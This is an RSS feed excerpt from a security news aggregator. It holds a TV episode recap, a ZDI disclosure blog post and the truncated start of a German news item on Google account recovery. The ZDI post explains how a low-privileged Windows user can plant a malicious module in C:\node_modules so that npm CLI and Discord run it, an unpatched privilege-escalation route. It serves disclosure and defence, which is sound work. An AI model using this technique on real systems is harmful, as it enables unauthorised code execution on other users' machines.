<description><![CDATA[Agent Kim Reactivated Episode 10 brings the first season to a tense close as Manager Kim fights for Min-ji’s future while South Korean intelligence officials pull him into another dangerous mission. The finale delivers action, emotional reunions, political betrayal, and a cliffhanger that leaves ...]]></description>
<link>https://tsecurity.de/de/3694687/ios-mac-os/agent-kim-reactivated-episode-10-recap-ending-explained-and-season-2-setup/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694687/ios-mac-os/agent-kim-reactivated-episode-10-recap-ending-explained-and-season-2-setup/</guid>
<pubDate>Sat, 25 Jul 2026 19:47:47 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Agent Kim Reactivated Episode 10 brings the first season to a tense close as Manager Kim fights for Min-ji’s future while South Korean intelligence officials pull him into another dangerous mission. The finale delivers action, emotional reunions, political betrayal, and a cliffhanger that leaves Kim’s promised freedom uncertain.




Release date: July 25, 2026



Streaming platform: Netflix



Genre: Action, crime, espionage thriller




The series follows Manager Kim, an ordinary office worker and single father who previously served as a highly trained black-ops agent. His hidden life returns after his daughter, Min-ji, disappears, forcing him to reconnect with former operatives Han-soo and Jin-cheol.



Spoilers ahead for Agent Kim Reactivated Episode 10



The finale begins with Kim trapped and repeatedly questioned about his activities in South Korea. He remains silent until an interrogator threatens Min-ji, prompting him to attack, break free, and attempt another escape.



Kim soon learns that the imprisonment was part of a loyalty test arranged by South Korean intelligence. Officials want to determine whether he can still follow orders before assigning him another classified operation. They offer Kim and Min-ji new identities and a chance to disappear after he completes one final mission.



Kim agrees, but only after demanding protection for Min-ji and freedom for Han-soo and Jin-cheol. His two friends later wake up after being drugged and abandoned far from home, adding a short comic break after the episode’s intense opening.



Gang-chan prepares another attack



While Kim handles the government’s mission, Ju Gang-chan continues planning revenge. He discovers that Kim and Min-ji have effectively disappeared from official records, which makes them easier targets for anyone operating outside the law.



Gang-chan begins working with political and North Korean contacts, showing that the conspiracy surrounding Kim goes far beyond one personal conflict. His obsession with destroying Kim keeps the threat alive even after several of his earlier plans fail.



Kim eventually reunites with Han-soo and Jin-cheol, but their relief does not last long. Intelligence agents surround their location and announce that Kim’s operation has technically failed. Officials then order Kim and the North Korean Director General to be returned across the border.



Does Manager Kim save Min-ji?



Min-ji remains alive and protected by the end of Episode 10. Kim succeeds in keeping her away from immediate danger, although he does not receive the peaceful life he was promised.



The final scene leaves Kim trapped between two governments, powerful enemies, and possible traitors inside South Korea’s intelligence service. The finale also suggests that someone within the agency has been manipulating events, creating a clear storyline for another season.



Netflix currently describes Agent Kim Reactivated as a limited series, and no official Season 2 renewal has been announced.



Agent Kim Reactivated Episode 10 ends the kidnapping storyline while keeping Kim’s larger battle unfinished. Do you think Kim will uncover the intelligence mole and finally escape with Min-ji? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Node.js Trust Falls: Dangerous Module Resolution on Windows]]></title>
<description><![CDATA[In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting npm CLI that revealed a fundamental design issue in Node.js. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the...]]></description>
<link>https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:58 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting <a href="https://docs.npmjs.com/cli/v11">npm CLI</a> that revealed a fundamental design issue in <a href="https://nodejs.org/en">Node.js</a>. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the Discord desktop app (CVE-2026-0776 0-Day), which remains unpatched and vulnerable.</p>





















  
  



<p>The issue is straightforward: when Node.js resolves modules, the runtime searches for packages in <code>C:\node_modules</code> as part of its default behavior. Since low-privileged Windows users can create this directory and plant malicious modules there, any Node.js application with missing or optional dependencies becomes vulnerable to privilege escalation.</p>




  <p class="">This issue is not new. Concerned discussions about Node.js's module search path behavior date back to <a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ">2013</a> and <a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">2014</a>.</p><p class="">Node.js has explicitly <a href="https://github.com/nodejs/node/security/policy#uncontrolled-search-path-element-cwe-427">stated</a> that they consider this behavior intentional: </p><p class="">"Node.js trusts the file system." </p><p class="">They do not treat CWE-427 (Uncontrolled Search Path Element) as a vulnerability, pushing responsibility onto application developers. </p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png" data-image-dimensions="866x438" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=1000w" width="866" height="438" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 1: The vendor’s security policy stance on CWE-427 as a non-issue</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  





  <p class="">As the case studies below demonstrate, this stance has dangerous consequences. Developers are largely unaware of this attack surface, and the result is a proliferation of exploitable applications. We will show examples in npm CLI and Discord, but there are likely many more applications that are impacted by this.</p><p class=""><strong>Root Cause</strong></p><p class="">The root cause lies in the way Node.js performs module resolution. This is documented <a href="https://nodejs.org/api/modules.html#loading-from-node-modules-folders">here.</a> Although UNIX paths are used in the documentation provided by Node.js, the same logic is applied on Windows.</p>





















  
  



<p>When a Node.js application calls require(‘bar’), the runtime searches for the module in the following order:  </p>
<ol>
<li>   C:\Users\Administrator\projects\node_modules\bar.js</li>
<li>   C:\Users\Administrator\node_modules\bar.js</li>
<li>   C:\Users\node_modules\bar.js</li>
<li>   C:\node_modules\bar.js              &lt;-- The problem</li>
</ol>
<p>If the legitimate package is missing, whether due to optional dependencies, development packages removed in production, or installation failures, the resolution search will eventually reach the root of the drive. Any user can create <code>C:\node_modules</code> and place a malicious package there. Once the low-privileged user has populated <code>C:\node_modules\bar.js</code>, Node.js will load and execute it in the context of the current user. In the following case studies, we will provide evidence of how, despite properly following NPM’s <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">guidelines</a>, third-party dependencies end up triggering this vulnerability anytime you launch the application.   </p>
<p><b data-preserve-html-node="true">Case Studies: Real-World Manifestations</b>  </p>
<p>The Optional Dependency Pattern:
npm supports optional dependencies to be specified in the project’s package.json file. The <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">recommended pattern</a> for checking for these dependencies is as follows:</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png" data-image-dimensions="1051x756" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1000w" width="1051" height="756" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 2: npm Docs showing optionalDependencies example code      </em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>This pattern silently catches errors when optional packages are missing, allowing execution to continue. So what’s the problem? On Windows, Node.js will search all the way up to <code>C:\node_modules</code> where an attacker may have planted a malicious replacement. This search behavior mirrors UNIX conventions where <code>/node_modules</code> at the filesystem root is typically only writable by root. Windows systems by default allow any user to create <code>C:\node_modules</code>. Once <code>require</code> is called, Node.js will traverse the search path and execute any matching module it finds.  </p>
<p>Important things to note:  </p>
<ol>
<li>   This pattern can be found in third party libraries deep in a dependency tree, as we will see in the following examples.  </li>
<li>   There is no runtime indication to either the developers or the end users that such a vulnerability exists without looking at the filesystem logs with Procmon.  </li>
<li>   The optional dependency pattern itself would not be dangerous if Node.js did not search for packages in <code>C:\node_modules</code>.</li>
</ol>
<p>Let’s take a deeper look at both cases and see why this is so dangerous.  </p>
<p><b data-preserve-html-node="true">Case 1: npm CLI (ZDI-26-043 / ZDI-CAN-25430 / CVE-2026-0775)</b>. </p>
<p>Prior to version 11.2.0, npm CLI used a library called “promise-inflight”, which contained an optional dependency on a package called “bluebird”. </p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png" data-image-dimensions="926x517" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1000w" width="926" height="517" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 3: npm CLI repo </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>snippet</em></a><em> </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>showing</em></a><em> require call for missing bluebird package dependency</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>When Node.js is installed on the system, npm is included by default without the <code>bluebird</code> package.  This vulnerability was introduced when bluebird was removed through a well-intentioned pull request (<a href="https://github.com/npm/cli/pull/1438/changes">https://github.com/npm/cli/pull/1438/changes</a>), demonstrating how easy it is for developers to unknowingly create this attack surface.</p>
<p>We can see Node’s package resolution logic at work in the screenshot below:</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png" data-image-dimensions="1007x497" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1000w" width="1007" height="497" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 4: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0775</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>First, the application looks for the <code>bluebird.js</code> package in the Node.js installation directory. Node.js sequentially searches back to the system root until it finds the package. If an attacker has placed <code>C:\node_modules\bluebird.js</code>, the <code>require</code> call will find, read, and execute the malicious payload in the context of any user running npm on the system. </p>
<p>This vulnerability is especially dangerous because it is triggered when many <code>npm *</code> cli commands are used. Common development commands such as <code>npm install</code>, <code>npm –l</code>, and <code>npm prune</code> will all execute the malicious <code>bluebird.js</code>package.</p>
<p><b data-preserve-html-node="true">Case 2: Discord (ZDI-26-040/ ZDI-CAN-27057 / CVE-2026-0776/ UNPATCHED)</b></p>
<p>On April 22, 2025, ZDI received a report for a similar vulnerability in Discord reported by T. Doğa Gelişli. Discord uses the ws WebSocket library, which contains an optional dependency on utf-8-validate for compatibility with older Node.js versions:</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png" data-image-dimensions="1662x798" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w" width="1662" height="798" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 5: websockets library repo snippet showing require call for missing utf-8-validate package dependency</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>Discord does not ship with the utf-8-validate package. As a result, the following Procmon logs show the same behavior as Case 1. Anytime Discord is launched, the attacker controlled <code>C:\node_modules\utf-8-validate.js</code> is executed.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png" data-image-dimensions="1074x528" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w" width="1074" height="528" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 6: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0776</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>The ws library does support disabling this check via the <code>WS_NO_UTF_8_VALIDATE</code> environment variable, but this requires the consuming application (Discord) to set it explicitly. Here’s a quick video demonstrating the bug by popping the calc app when opening Discord:</p>


  














  
    
      
    
    
      
        
          
          
        
      
      
      



    
  








  <p class="">Discord automatically opens on login by default, so in practice code execution happens immediately without any user interaction. Strangely, the Discord Security team made it clear to us in their responses that they do not consider local attack vectors as valid security issues. </p><p class=""><strong>The Bigger Picture</strong></p><p class="">The cases above represent only a few of the applications affected by this pattern. During our investigation we found many other independent reports.  These issues in <a href="https://jira.mongodb.org/browse/COMPASS-9058">Mongo DB Compass</a> and <a href="https://jira.mongodb.org/browse/MONGOSH-2028">Mongo DB Shell</a> are just two other examples.</p><p class="">Every Windows application built on Node.js with missing or optional dependencies is potentially vulnerable. This includes desktop applications that utilize Electron as well as popular web frameworks such as Next.js and React.</p><p class="">Each vendor has clearly stated that they will not treat these issues as vulnerabilities: </p><p class="">NPM’s response to our report: </p><p class=""><em>“exploits that require local access to a machine are considered ineligible for npm CLI</em></p><p class="">Discord’s response to our report:</p><p class=""><em>“We do not consider physical/local attacks as valid security issues”</em></p><p class="">Node.js, in the “Examples of non-vulnerabilities” section of their <a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">Security Policy</a>: </p><p class=""><em>“Node.js trusts the file system in the environment accessible to it. Therefore, it is not a vulnerability if it accesses/loads files from any path that is accessible to it.” </em></p><p class=""><strong>Conclusion</strong></p>





















  
  



<p>The vulnerability pattern described in this blog stems from a deliberate design decision by Node.js maintainers. While Node.js's position that “applications should trust their filesystem” may hold true on properly administered UNIX systems, it creates a systemic vulnerability on Windows where low-privileged users can write to <code>C:\node_modules</code>. Without a fix from Node.js, the burden silently falls on application developers.   </p>
<p>Making matters worse, the vulnerable code may not live in the application code itself. The optional dependencies that trigger this behavior could come from third-party libraries buried in the dependency tree as we saw with both Discord and npm CLI. </p>




  <p class="">We encourage security researchers to further review this issue and investigate other applications for this dangerous behavior. You can find us online at <a href="https://x.com/bobbygould5">@bobbygould5</a> and <a href="https://x.com/izobashi">@izobashi</a>, and follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p><p class=""> </p><p class="">DISCLOSURE TIMELINES</p><p class=""> </p><p class="">NPM CLI: </p><p class="">2024-11-13 – ZDI submitted the report to the vendor</p><p class="">2024-11-13 – The vendor acknowledged the receipt of the report</p><p class="">2024-11-13 – The vendor communicated that the reported behavior was by design and they do not consider local attacks as valid security issues</p><p class="">2025-08-05 – ZDI encouraged the vendor to re-assess the issue</p><p class="">2025-12-18 – ZDI notified the vendor of the intention to publish the case as a 0-day advisory</p><p class=""> </p><p class="">DISCORD: </p><p class="">2025-07-08 – ZDI notified vendor </p><p class="">2025-09-11 – ZDI followed up with vendor </p><p class="">2025-09-15 – Vendor stated they do not consider local attacks as valid security issues </p><p class="">2025-12-01 – ZDI explained why we believe the issue is still valid </p><p class="">2025-12-10 – Vendor replied that the vulnerability is still out of scope  </p><p class="">2025-12-11 – ZDI informed vendor of intent to publish 0-day  </p><p class="">  </p><p class="">REFERENCES</p><p class=""><a href="https://nodejs.org/api/modules.html#loading-from-node_modules-folders">https://nodejs.org/api/modules.html#loading-from-node_modules-folders</a></p><p class=""><a href="https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies">https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies</a></p><p class=""><a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1">https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1</a></p><p class=""><a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">https://github.com/nodejs/node-v0.x-archive/issues/8830</a></p><p class=""><a href="https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require">https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require</a></p><p class=""><a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google führt Selfie-Video zur Kontowiederherstellung ein – opt-in mit Liveness-Logik]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Google erweitert die Kontowiederherstellung: Statt sich nur über E-Mail oder Telefonnummer aus einem Lockout herauszuarbeiten, können Nutzer künftig ein kurzes Selfie-Video als Verifizierungsoption anlegen. Für die Einrichtung schauen sie in die Kamera und absolvieren gefüh...]]></description>
<link>https://tsecurity.de/de/3694460/it-security-nachrichten/google-fuehrt-selfie-video-zur-kontowiederherstellung-ein-opt-in-mit-liveness-logik/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694460/it-security-nachrichten/google-fuehrt-selfie-video-zur-kontowiederherstellung-ein-opt-in-mit-liveness-logik/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-google-selfie-video-verification.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" loading="lazy" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-google-selfie-video-verification.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-google-selfie-video-verification-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-google-selfie-video-verification-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-google-selfie-video-verification-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-google-selfie-video-verification-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-google-selfie-video-verification-120x120.jpg 120w" sizes="auto, (max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Google erweitert die Kontowiederherstellung: Statt sich nur über E-Mail oder Telefonnummer aus einem Lockout herauszuarbeiten, können Nutzer künftig ein kurzes Selfie-Video als Verifizierungsoption anlegen. Für die Einrichtung 